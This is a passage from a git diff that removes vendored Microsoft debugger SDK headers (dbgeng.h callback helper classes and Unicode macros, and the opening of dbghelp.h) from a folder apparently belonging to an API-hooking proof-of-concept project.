-// Extension function names must begin with _EFN_. Other than that
-// they can have any name and prototype. Extension functions
-// must be public exports of their extension DLL. They should
-// have a typedef for their function pointer prototype in an
-// extension header so that callers have a header file to include
-// with a type that allows a correctly-formed invocation of the
-// extension function.
-//
-// The engine does not perform any validation of calls to
-// extension functions. Once the extension function pointer
-// is retrieved with GetExtensionFunction all calls go
-// directly between the caller and the extension function and
-// are not mediated by the engine.
-//
-//----------------------------------------------------------------------------
-
-#ifdef __cplusplus
-};
-
-//----------------------------------------------------------------------------
-//
-// C++ implementation helper classes.
-//
-//----------------------------------------------------------------------------
-
-#if !defined(DEBUG_NO_IMPLEMENTATION) && !defined(_M_CEE_PURE)
-
-//
-// DebugBaseEventCallbacks provides a do-nothing base implementation
-// of IDebugEventCallbacks. A program can derive their own
-// event callbacks class from DebugBaseEventCallbacks and implement
-// only the methods they are interested in. Programs must be
-// careful to implement GetInterestMask appropriately.
-//
-class DebugBaseEventCallbacks : public IDebugEventCallbacks
-{
-public:
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- )
- {
- *Interface = NULL;
-
-#if _MSC_VER >= 1100
- if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) ||
- IsEqualIID(InterfaceId, __uuidof(IDebugEventCallbacks)))
-#else
- if (IsEqualIID(InterfaceId, IID_IUnknown) ||
- IsEqualIID(InterfaceId, IID_IDebugEventCallbacks))
-#endif
- {
- *Interface = (IDebugEventCallbacks *)this;
- AddRef();
- return S_OK;
- }
- else
- {
- return E_NOINTERFACE;
- }
- }
-
- // IDebugEventCallbacks.
-
- STDMETHOD(Breakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT Bp
- )
- {
- UNREFERENCED_PARAMETER(Bp);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(Exception)(
- THIS_
- __in PEXCEPTION_RECORD64 Exception,
- __in ULONG FirstChance
- )
- {
- UNREFERENCED_PARAMETER(Exception);
- UNREFERENCED_PARAMETER(FirstChance);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(CreateThread)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG64 DataOffset,
- __in ULONG64 StartOffset
- )
- {
- UNREFERENCED_PARAMETER(Handle);
- UNREFERENCED_PARAMETER(DataOffset);
- UNREFERENCED_PARAMETER(StartOffset);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(ExitThread)(
- THIS_
- __in ULONG ExitCode
- )
- {
- UNREFERENCED_PARAMETER(ExitCode);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 Handle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in PCSTR ModuleName,
- __in PCSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp,
- __in ULONG64 InitialThreadHandle,
- __in ULONG64 ThreadDataOffset,
- __in ULONG64 StartOffset
- )
- {
- UNREFERENCED_PARAMETER(ImageFileHandle);
- UNREFERENCED_PARAMETER(Handle);
- UNREFERENCED_PARAMETER(BaseOffset);
- UNREFERENCED_PARAMETER(ModuleSize);
- UNREFERENCED_PARAMETER(ModuleName);
- UNREFERENCED_PARAMETER(ImageName);
- UNREFERENCED_PARAMETER(CheckSum);
- UNREFERENCED_PARAMETER(TimeDateStamp);
- UNREFERENCED_PARAMETER(InitialThreadHandle);
- UNREFERENCED_PARAMETER(ThreadDataOffset);
- UNREFERENCED_PARAMETER(StartOffset);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(ExitProcess)(
- THIS_
- __in ULONG ExitCode
- )
- {
- UNREFERENCED_PARAMETER(ExitCode);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(LoadModule)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in PCSTR ModuleName,
- __in PCSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp
- )
- {
- UNREFERENCED_PARAMETER(ImageFileHandle);
- UNREFERENCED_PARAMETER(BaseOffset);
- UNREFERENCED_PARAMETER(ModuleSize);
- UNREFERENCED_PARAMETER(ModuleName);
- UNREFERENCED_PARAMETER(ImageName);
- UNREFERENCED_PARAMETER(CheckSum);
- UNREFERENCED_PARAMETER(TimeDateStamp);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(UnloadModule)(
- THIS_
- __in PCSTR ImageBaseName,
- __in ULONG64 BaseOffset
- )
- {
- UNREFERENCED_PARAMETER(ImageBaseName);
- UNREFERENCED_PARAMETER(BaseOffset);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(SystemError)(
- THIS_
- __in ULONG Error,
- __in ULONG Level
- )
- {
- UNREFERENCED_PARAMETER(Error);
- UNREFERENCED_PARAMETER(Level);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(SessionStatus)(
- THIS_
- __in ULONG Status
- )
- {
- UNREFERENCED_PARAMETER(Status);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(ChangeDebuggeeState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- )
- {
- UNREFERENCED_PARAMETER(Flags);
- UNREFERENCED_PARAMETER(Argument);
- return S_OK;
- }
- STDMETHOD(ChangeEngineState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- )
- {
- UNREFERENCED_PARAMETER(Flags);
- UNREFERENCED_PARAMETER(Argument);
- return S_OK;
- }
- STDMETHOD(ChangeSymbolState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- )
- {
- UNREFERENCED_PARAMETER(Flags);
- UNREFERENCED_PARAMETER(Argument);
- return S_OK;
- }
-};
-
-class DebugBaseEventCallbacksWide : public IDebugEventCallbacksWide
-{
-public:
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- )
- {
- *Interface = NULL;
-
-#if _MSC_VER >= 1100
- if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) ||
- IsEqualIID(InterfaceId, __uuidof(IDebugEventCallbacksWide)))
-#else
- if (IsEqualIID(InterfaceId, IID_IUnknown) ||
- IsEqualIID(InterfaceId, IID_IDebugEventCallbacksWide))
-#endif
- {
- *Interface = (IDebugEventCallbacksWide *)this;
- AddRef();
- return S_OK;
- }
- else
- {
- return E_NOINTERFACE;
- }
- }
-
- // IDebugEventCallbacksWide.
-
- STDMETHOD(Breakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT2 Bp
- )
- {
- UNREFERENCED_PARAMETER(Bp);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(Exception)(
- THIS_
- __in PEXCEPTION_RECORD64 Exception,
- __in ULONG FirstChance
- )
- {
- UNREFERENCED_PARAMETER(Exception);
- UNREFERENCED_PARAMETER(FirstChance);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(CreateThread)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG64 DataOffset,
- __in ULONG64 StartOffset
- )
- {
- UNREFERENCED_PARAMETER(Handle);
- UNREFERENCED_PARAMETER(DataOffset);
- UNREFERENCED_PARAMETER(StartOffset);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(ExitThread)(
- THIS_
- __in ULONG ExitCode
- )
- {
- UNREFERENCED_PARAMETER(ExitCode);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 Handle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in PCWSTR ModuleName,
- __in PCWSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp,
- __in ULONG64 InitialThreadHandle,
- __in ULONG64 ThreadDataOffset,
- __in ULONG64 StartOffset
- )
- {
- UNREFERENCED_PARAMETER(ImageFileHandle);
- UNREFERENCED_PARAMETER(Handle);
- UNREFERENCED_PARAMETER(BaseOffset);
- UNREFERENCED_PARAMETER(ModuleSize);
- UNREFERENCED_PARAMETER(ModuleName);
- UNREFERENCED_PARAMETER(ImageName);
- UNREFERENCED_PARAMETER(CheckSum);
- UNREFERENCED_PARAMETER(TimeDateStamp);
- UNREFERENCED_PARAMETER(InitialThreadHandle);
- UNREFERENCED_PARAMETER(ThreadDataOffset);
- UNREFERENCED_PARAMETER(StartOffset);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(ExitProcess)(
- THIS_
- __in ULONG ExitCode
- )
- {
- UNREFERENCED_PARAMETER(ExitCode);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(LoadModule)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in PCWSTR ModuleName,
- __in PCWSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp
- )
- {
- UNREFERENCED_PARAMETER(ImageFileHandle);
- UNREFERENCED_PARAMETER(BaseOffset);
- UNREFERENCED_PARAMETER(ModuleSize);
- UNREFERENCED_PARAMETER(ModuleName);
- UNREFERENCED_PARAMETER(ImageName);
- UNREFERENCED_PARAMETER(CheckSum);
- UNREFERENCED_PARAMETER(TimeDateStamp);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(UnloadModule)(
- THIS_
- __in PCWSTR ImageBaseName,
- __in ULONG64 BaseOffset
- )
- {
- UNREFERENCED_PARAMETER(ImageBaseName);
- UNREFERENCED_PARAMETER(BaseOffset);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(SystemError)(
- THIS_
- __in ULONG Error,
- __in ULONG Level
- )
- {
- UNREFERENCED_PARAMETER(Error);
- UNREFERENCED_PARAMETER(Level);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(SessionStatus)(
- THIS_
- __in ULONG Status
- )
- {
- UNREFERENCED_PARAMETER(Status);
- return DEBUG_STATUS_NO_CHANGE;
- }
- STDMETHOD(ChangeDebuggeeState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- )
- {
- UNREFERENCED_PARAMETER(Flags);
- UNREFERENCED_PARAMETER(Argument);
- return S_OK;
- }
- STDMETHOD(ChangeEngineState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- )
- {
- UNREFERENCED_PARAMETER(Flags);
- UNREFERENCED_PARAMETER(Argument);
- return S_OK;
- }
- STDMETHOD(ChangeSymbolState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- )
- {
- UNREFERENCED_PARAMETER(Flags);
- UNREFERENCED_PARAMETER(Argument);
- return S_OK;
- }
-};
-
-#endif // #ifndef DEBUG_NO_IMPLEMENTATION
-
-#ifdef DEBUG_UNICODE_MACROS
-
-#ifdef UNICODE
-
-#define IDebugEventCallbacksT IDebugEventCallbacksWide
-#define IID_IDebugEventCallbacksT IID_IDebugEventCallbacksWide
-#define IDebugOutputCallbacksT IDebugOutputCallbacksWide
-#define IID_IDebugOutputCallbacksT IID_IDebugOutputCallbacksWide
-#define DebugBaseEventCallbacksT DebugBaseEventCallbacksWide
-
-#define DebugConnectT DebugConnectWide
-#define GetSourceFileInformationT GetSourceFileInformationWide
-#define FindSourceFileAndTokenT FindSourceFileAndTokenWide
-#define GetSymbolInformationT GetSymbolInformationWide
-#define GetCommandT GetCommandWide
-#define SetCommandT SetCommandWide
-#define GetOffsetExpressionT GetOffsetExpressionWide
-#define SetOffsetExpressionT SetOffsetExpressionWide
-#define GetRunningProcessSystemIdByExecutableNameT GetRunningProcessSystemIdByExecutableNameWide
-#define GetRunningProcessDescriptionT GetRunningProcessDescriptionWide
-#define CreateProcessT CreateProcessWide
-#define CreateProcessAndAttachT CreateProcessAndAttachWide
-#define AddDumpInformationFileT AddDumpInformationFileWide
-#define GetDumpFileT GetDumpFileWide
-#define AttachKernelT AttachKernelWide
-#define GetKernelConnectionOptionsT GetKernelConnectionOptionsWide
-#define SetKernelConnectionOptionsT SetKernelConnectionOptionsWide
-#define StartProcessServerT StartProcessServerWide
-#define ConnectProcessServerT ConnectProcessServerWide
-#define StartServerT StartServerWide
-#define OutputServersT OutputServersWide
-#define GetOutputCallbacksT GetOutputCallbacksWide
-#define SetOutputCallbacksT SetOutputCallbacksWide
-#define GetOutputLinePrefixT GetOutputLinePrefixWide
-#define SetOutputLinePrefixT SetOutputLinePrefixWide
-#define GetIdentityT GetIdentityWide
-#define OutputIdentityT OutputIdentityWide
-#define GetEventCallbacksT GetEventCallbacksWide
-#define SetEventCallbacksT SetEventCallbacksWide
-#define CreateProcess2T CreateProcess2Wide
-#define CreateProcessAndAttach2T CreateProcessAndAttach2Wide
-#define PushOutputLinePrefixT PushOutputLinePrefixWide
-#define GetQuitLockStringT GetQuitLockStringWide
-#define SetQuitLockStringT SetQuitLockStringWide
-#define GetLogFileT GetLogFileWide
-#define OpenLogFileT OpenLogFileWide
-#define InputT InputWide
-#define ReturnInputT ReturnInputWide
-#define OutputT OutputWide
-#define OutputVaListT OutputVaListWide
-#define ControlledOutputT ControlledOutputWide
-#define ControlledOutputVaListT ControlledOutputVaListWide
-#define OutputPromptT OutputPromptWide
-#define OutputPromptVaListT OutputPromptVaListWide
-#define GetPromptTextT GetPromptTextWide
-#define AssembleT AssembleWide
-#define DisassembleT DisassembleWide
-#define GetProcessorTypeNamesT GetProcessorTypeNamesWide
-#define GetTextMacroT GetTextMacroWide
-#define SetTextMacroT SetTextMacroWide
-#define EvaluateT EvaluateWide
-#define ExecuteT ExecuteWide
-#define ExecuteCommandFileT ExecuteCommandFileWide
-#define AddExtensionT AddExtensionWide
-#define GetExtensionByPathT GetExtensionByPathWide
-#define CallExtensionT CallExtensionWide
-#define GetExtensionFunctionT GetExtensionFunctionWide
-#define GetEventFilterTextT GetEventFilterTextWide
-#define GetEventFilterCommandT GetEventFilterCommandWide
-#define SetEventFilterCommandT SetEventFilterCommandWide
-#define GetSpecificFilterArgumentT GetSpecificFilterArgumentWide
-#define SetSpecificFilterArgumentT SetSpecificFilterArgumentWide
-#define GetExceptionFilterSecondCommandT GetExceptionFilterSecondCommandWide
-#define SetExceptionFilterSecondCommandT SetExceptionFilterSecondCommandWide
-#define GetLastEventInformationT GetLastEventInformationWide
-#define GetTextReplacementT GetTextReplacementWide
-#define SetTextReplacementT SetTextReplacementWide
-#define SetExpressionSyntaxByNameT SetExpressionSyntaxByNameWide
-#define GetExpressionSyntaxNamesT GetExpressionSyntaxNamesWide
-#define GetEventIndexDescriptionT GetEventIndexDescriptionWide
-#define GetLogFile2T GetLogFile2Wide
-#define OpenLogFile2T OpenLogFile2Wide
-#define GetSystemVersionStringT GetSystemVersionStringWide
-#define ReadMultiByteStringVirtualT ReadMultiByteStringVirtualWide
-#define ReadUnicodeStringVirtualT ReadUnicodeStringVirtualWide
-#define GetDescriptionT GetDescriptionWide
-#define GetIndexByNameT GetIndexByNameWide
-#define GetPseudoDescriptionT GetPseudoDescriptionWide
-#define GetPseudoIndexByNameT GetPseudoIndexByNameWide
-#define AddSymbolT AddSymbolWide
-#define RemoveSymbolByNameT RemoveSymbolByNameWide
-#define GetSymbolNameT GetSymbolNameWide
-#define WriteSymbolT WriteSymbolWide
-#define OutputAsTypeT OutputAsTypeWide
-#define GetSymbolTypeNameT GetSymbolTypeNameWide
-#define GetSymbolValueTextT GetSymbolValueTextWide
-#define GetNameByOffsetT GetNameByOffsetWide
-#define GetOffsetByNameT GetOffsetByNameWide
-#define GetNearNameByOffsetT GetNearNameByOffsetWide
-#define GetLineByOffsetT GetLineByOffsetWide
-#define GetOffsetByLineT GetOffsetByLineWide
-#define GetModuleByModuleNameT GetModuleByModuleNameWide
-#define GetModuleByModuleName2T GetModuleByModuleName2Wide
-#define GetSymbolModuleT GetSymbolModuleWide
-#define GetTypeNameT GetTypeNameWide
-#define GetTypeIdT GetTypeIdWide
-#define GetFieldOffsetT GetFieldOffsetWide
-#define GetSymbolTypeIdT GetSymbolTypeIdWide
-#define StartSymbolMatchT StartSymbolMatchWide
-#define GetNextSymbolMatchT GetNextSymbolMatchWide
-#define ReloadT ReloadWide
-#define GetSymbolPathT GetSymbolPathWide
-#define SetSymbolPathT SetSymbolPathWide
-#define AppendSymbolPathT AppendSymbolPathWide
-#define GetImagePathT GetImagePathWide
-#define SetImagePathT SetImagePathWide
-#define AppendImagePathT AppendImagePathWide
-#define GetSourcePathT GetSourcePathWide
-#define GetSourcePathElementT GetSourcePathElementWide
-#define SetSourcePathT SetSourcePathWide
-#define AppendSourcePathT AppendSourcePathWide
-#define FindSourceFileT FindSourceFileWide
-#define GetSourceFileLineOffsetsT GetSourceFileLineOffsetsWide
-#define GetModuleVersionInformationT GetModuleVersionInformationWide
-#define GetModuleNameStringT GetModuleNameStringWide
-#define GetConstantNameT GetConstantNameWide
-#define GetFieldNameT GetFieldNameWide
-#define GetFieldTypeAndOffsetT GetFieldTypeAndOffsetWide
-#define GetSymbolEntriesByNameT GetSymbolEntriesByNameWide
-#define GetSymbolEntryStringT GetSymbolEntryStringWide
-#define GetSourceEntriesByLineT GetSourceEntriesByLineWide
-#define GetSourceEntryStringT GetSourceEntryStringWide
-#define GetCurrentProcessExecutableNameT GetCurrentProcessExecutableNameWide
-#define GetCurrentSystemServerNameT GetCurrentSystemServerNameWide
-
-#else // #ifdef UNICODE
-
-#define IDebugEventCallbacksT IDebugEventCallbacks
-#define IID_IDebugEventCallbacksT IID_IDebugEventCallbacks
-#define IDebugOutputCallbacksT IDebugOutputCallbacks
-#define IID_IDebugOutputCallbacksT IID_IDebugOutputCallbacks
-#define DebugBaseEventCallbacksT DebugBaseEventCallbacks
-
-#define DebugConnectT DebugConnect
-#define GetSourceFileInformationT GetSourceFileInformation
-#define FindSourceFileAndTokenT FindSourceFileAndToken
-#define GetSymbolInformationT GetSymbolInformation
-#define GetCommandT GetCommand
-#define SetCommandT SetCommand
-#define GetOffsetExpressionT GetOffsetExpression
-#define SetOffsetExpressionT SetOffsetExpression
-#define GetRunningProcessSystemIdByExecutableNameT GetRunningProcessSystemIdByExecutableName
-#define GetRunningProcessDescriptionT GetRunningProcessDescription
-#define CreateProcessT CreateProcess
-#define CreateProcessAndAttachT CreateProcessAndAttach
-#define AddDumpInformationFileT AddDumpInformationFile
-#define GetDumpFileT GetDumpFile
-#define AttachKernelT AttachKernel
-#define GetKernelConnectionOptionsT GetKernelConnectionOptions
-#define SetKernelConnectionOptionsT SetKernelConnectionOptions
-#define StartProcessServerT StartProcessServer
-#define ConnectProcessServerT ConnectProcessServer
-#define StartServerT StartServer
-#define OutputServersT OutputServers
-#define GetOutputCallbacksT GetOutputCallbacks
-#define SetOutputCallbacksT SetOutputCallbacks
-#define GetOutputLinePrefixT GetOutputLinePrefix
-#define SetOutputLinePrefixT SetOutputLinePrefix
-#define GetIdentityT GetIdentity
-#define OutputIdentityT OutputIdentity
-#define GetEventCallbacksT GetEventCallbacks
-#define SetEventCallbacksT SetEventCallbacks
-#define CreateProcess2T CreateProcess2
-#define CreateProcessAndAttach2T CreateProcessAndAttach2
-#define PushOutputLinePrefixT PushOutputLinePrefix
-#define GetQuitLockStringT GetQuitLockString
-#define SetQuitLockStringT SetQuitLockString
-#define GetLogFileT GetLogFile
-#define OpenLogFileT OpenLogFile
-#define InputT Input
-#define ReturnInputT ReturnInput
-#define OutputT Output
-#define OutputVaListT OutputVaList
-#define ControlledOutputT ControlledOutput
-#define ControlledOutputVaListT ControlledOutputVaList
-#define OutputPromptT OutputPrompt
-#define OutputPromptVaListT OutputPromptVaList
-#define GetPromptTextT GetPromptText
-#define AssembleT Assemble
-#define DisassembleT Disassemble
-#define GetProcessorTypeNamesT GetProcessorTypeNames
-#define GetTextMacroT GetTextMacro
-#define SetTextMacroT SetTextMacro
-#define EvaluateT Evaluate
-#define ExecuteT Execute
-#define ExecuteCommandFileT ExecuteCommandFile
-#define AddExtensionT AddExtension
-#define GetExtensionByPathT GetExtensionByPath
-#define CallExtensionT CallExtension
-#define GetExtensionFunctionT GetExtensionFunction
-#define GetEventFilterTextT GetEventFilterText
-#define GetEventFilterCommandT GetEventFilterCommand
-#define SetEventFilterCommandT SetEventFilterCommand
-#define GetSpecificFilterArgumentT GetSpecificFilterArgument
-#define SetSpecificFilterArgumentT SetSpecificFilterArgument
-#define GetExceptionFilterSecondCommandT GetExceptionFilterSecondCommand
-#define SetExceptionFilterSecondCommandT SetExceptionFilterSecondCommand
-#define GetLastEventInformationT GetLastEventInformation
-#define GetTextReplacementT GetTextReplacement
-#define SetTextReplacementT SetTextReplacement
-#define SetExpressionSyntaxByNameT SetExpressionSyntaxByName
-#define GetExpressionSyntaxNamesT GetExpressionSyntaxNames
-#define GetEventIndexDescriptionT GetEventIndexDescription
-#define GetLogFile2T GetLogFile2
-#define OpenLogFile2T OpenLogFile2
-#define GetSystemVersionStringT GetSystemVersionString
-#define ReadMultiByteStringVirtualT ReadMultiByteStringVirtual
-#define ReadUnicodeStringVirtualT ReadUnicodeStringVirtual
-#define GetDescriptionT GetDescription
-#define GetIndexByNameT GetIndexByName
-#define GetPseudoDescriptionT GetPseudoDescription
-#define GetPseudoIndexByNameT GetPseudoIndexByName
-#define AddSymbolT AddSymbol
-#define RemoveSymbolByNameT RemoveSymbolByName
-#define GetSymbolNameT GetSymbolName
-#define WriteSymbolT WriteSymbol
-#define OutputAsTypeT OutputAsType
-#define GetSymbolTypeNameT GetSymbolTypeName
-#define GetSymbolValueTextT GetSymbolValueText
-#define GetNameByOffsetT GetNameByOffset
-#define GetOffsetByNameT GetOffsetByName
-#define GetNearNameByOffsetT GetNearNameByOffset
-#define GetLineByOffsetT GetLineByOffset
-#define GetOffsetByLineT GetOffsetByLine
-#define GetModuleByModuleNameT GetModuleByModuleName
-#define GetModuleByModuleName2T GetModuleByModuleName2
-#define GetSymbolModuleT GetSymbolModule
-#define GetTypeNameT GetTypeName
-#define GetTypeIdT GetTypeId
-#define GetFieldOffsetT GetFieldOffset
-#define GetSymbolTypeIdT GetSymbolTypeId
-#define StartSymbolMatchT StartSymbolMatch
-#define GetNextSymbolMatchT GetNextSymbolMatch
-#define ReloadT Reload
-#define GetSymbolPathT GetSymbolPath
-#define SetSymbolPathT SetSymbolPath
-#define AppendSymbolPathT AppendSymbolPath
-#define GetImagePathT GetImagePath
-#define SetImagePathT SetImagePath
-#define AppendImagePathT AppendImagePath
-#define GetSourcePathT GetSourcePath
-#define GetSourcePathElementT GetSourcePathElement
-#define SetSourcePathT SetSourcePath
-#define AppendSourcePathT AppendSourcePath
-#define FindSourceFileT FindSourceFile
-#define GetSourceFileLineOffsetsT GetSourceFileLineOffsets
-#define GetModuleVersionInformationT GetModuleVersionInformation
-#define GetModuleNameStringT GetModuleNameString
-#define GetConstantNameT GetConstantName
-#define GetFieldNameT GetFieldName
-#define GetFieldTypeAndOffsetT GetFieldTypeAndOffset
-#define GetSymbolEntriesByNameT GetSymbolEntriesByName
-#define GetSymbolEntryStringT GetSymbolEntryString
-#define GetSourceEntriesByLineT GetSourceEntriesByLine
-#define GetSourceEntryStringT GetSourceEntryString
-#define GetCurrentProcessExecutableNameT GetCurrentProcessExecutableName
-#define GetCurrentSystemServerNameT GetCurrentSystemServerName
-
-#endif // #ifdef UNICODE
-
-#endif // #ifdef DEBUG_UNICODE_MACROS
-
-#endif // #ifdef __cplusplus
-
-#endif // #ifndef __DBGENG_H__
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h
deleted file mode 100644
index 2e58efc1..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h
+++ /dev/null
@@ -1,4593 +0,0 @@
-/*++ BUILD Version: 0000 Increment this if a change has global effects
-
-Copyright (c) Microsoft Corporation. All rights reserved.
-
-Module Name:
-
- dbghelp.h
-
-Abstract:
-
- This module defines the prototypes and constants required for the image
- help routines.
-
- Contains debugging support routines that are redistributable.
-
-Revision History:
-
---*/
-
-#ifndef _DBGHELP_
-#define _DBGHELP_
-
-#if _MSC_VER > 1020
-#pragma once
-#endif
-
-
-// As a general principal always call the 64 bit version
-// of every API, if a choice exists. The 64 bit version
-// works great on 32 bit platforms, and is forward
-// compatible to 64 bit platforms.
-
-#ifdef _WIN64
-#ifndef _IMAGEHLP64
-#define _IMAGEHLP64
-#endif
-#endif
-
-#include
-
-// For those without specstrings.h
-// Since there are different versions of this header, I need to
-// individually test each item and define it if it is not around.
-
-#ifndef __in
- #define __in
-#endif
-#ifndef __out
- #define __out
-#endif
-#ifndef __inout
- #define __inout
-#endif
-#ifndef __in_opt
- #define __in_opt
-#endif
-#ifndef __out_opt
- #define __out_opt
-#endif
-#ifndef __inout_opt
- #define __inout_opt
-#endif
-#ifndef __in_ecount
- #define __in_ecount(x)
-#endif
-#ifndef __out_ecount
- #define __out_ecount(x)
-#endif
-#ifndef __inout_ecount
- #define __inout_ecount(x)
-#endif
-#ifndef __in_bcount
- #define __in_bcount(x)
-#endif
-#ifndef __out_bcount
- #define __out_bcount(x)
-#endif
-#ifndef __inout_bcount
- #define __inout_bcount(x)
-#endif
-#ifndef __out_xcount
- #define __out_xcount(x)
-#endif
-#ifndef __deref_opt_out
- #define __deref_opt_out
-#endif
-#ifndef __deref_out
- #define __deref_out
-#endif
-#ifndef __out_ecount_opt
- #define __out_ecount_opt(x)
-#endif
-#ifndef __in_bcount_opt
- #define __in_bcount_opt(x)
-#endif
-#ifndef __out_bcount_opt
- #define __out_bcount_opt(x)
-#endif
-#ifndef __deref_out_opt
- #define __deref_out_opt
-#endif
-
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#ifdef _IMAGEHLP_SOURCE_
- #define IMAGEAPI __stdcall
- #define DBHLP_DEPRECIATED
-#else
- #define IMAGEAPI DECLSPEC_IMPORT __stdcall
- #if (_MSC_VER >= 1300) && !defined(MIDL_PASS)
- #define DBHLP_DEPRECIATED __declspec(deprecated)
- #else
- #define DBHLP_DEPRECIATED
- #endif
-#endif
-
-#define DBHLPAPI IMAGEAPI
-
-#define IMAGE_SEPARATION (64*1024)
-
-// Observant readers may notice that 2 new fields,
-// 'fReadOnly' and 'Version' have been added to
-// the LOADED_IMAGE structure after 'fDOSImage'.
-// This does not change the size of the structure
-// from previous headers. That is because while
-// 'fDOSImage' is a byte, it is padded by the
-// compiler to 4 bytes. So the 2 new fields are
-// slipped into the extra space.
-
-typedef struct _LOADED_IMAGE {
- PSTR ModuleName;
- HANDLE hFile;
- PUCHAR MappedAddress;
-#ifdef _IMAGEHLP64
- PIMAGE_NT_HEADERS64 FileHeader;
-#else
- PIMAGE_NT_HEADERS32 FileHeader;
-#endif
- PIMAGE_SECTION_HEADER LastRvaSection;
- ULONG NumberOfSections;
- PIMAGE_SECTION_HEADER Sections;
- ULONG Characteristics;
- BOOLEAN fSystemImage;
- BOOLEAN fDOSImage;
- BOOLEAN fReadOnly;
- UCHAR Version;
- LIST_ENTRY Links;
- ULONG SizeOfImage;
-} LOADED_IMAGE, *PLOADED_IMAGE;
-
-#define MAX_SYM_NAME 2000
-
-
-// Error codes set by dbghelp functions. Call GetLastError
-// to see them.
-// Dbghelp also sets error codes found in winerror.h
-
-#define ERROR_IMAGE_NOT_STRIPPED 0x8800 // the image is not stripped. No dbg file available.
-#define ERROR_NO_DBG_POINTER 0x8801 // image is stripped but there is no pointer to a dbg file
-#define ERROR_NO_PDB_POINTER 0x8802 // image does not point to a pdb file
-
-typedef BOOL
-(CALLBACK *PFIND_DEBUG_FILE_CALLBACK)(
- __in HANDLE FileHandle,
- __in PCSTR FileName,
- __in PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-SymFindDebugInfoFile(
- __in HANDLE hProcess,
- __in PCSTR FileName,
- __out_ecount(MAX_PATH + 1) PSTR DebugFilePath,
- __in_opt PFIND_DEBUG_FILE_CALLBACK Callback,
- __in_opt PVOID CallerData
- );
-
-typedef BOOL
-(CALLBACK *PFIND_DEBUG_FILE_CALLBACKW)(
- __in HANDLE FileHandle,
- __in PCWSTR FileName,
- __in PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-SymFindDebugInfoFileW(
- __in HANDLE hProcess,
- __in PCWSTR FileName,
- __out_ecount(MAX_PATH + 1) PWSTR DebugFilePath,
- __in_opt PFIND_DEBUG_FILE_CALLBACKW Callback,
- __in_opt PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-FindDebugInfoFile (
- __in PCSTR FileName,
- __in PCSTR SymbolPath,
- __out_ecount(MAX_PATH + 1) PSTR DebugFilePath
- );
-
-HANDLE
-IMAGEAPI
-FindDebugInfoFileEx (
- __in PCSTR FileName,
- __in PCSTR SymbolPath,
- __out_ecount(MAX_PATH + 1) PSTR DebugFilePath,
- __in_opt PFIND_DEBUG_FILE_CALLBACK Callback,
- __in_opt PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-FindDebugInfoFileExW (
- __in PCWSTR FileName,
- __in PCWSTR SymbolPath,
- __out_ecount(MAX_PATH + 1) PWSTR DebugFilePath,
- __in_opt PFIND_DEBUG_FILE_CALLBACKW Callback,
- __in_opt PVOID CallerData
- );
-
-typedef BOOL
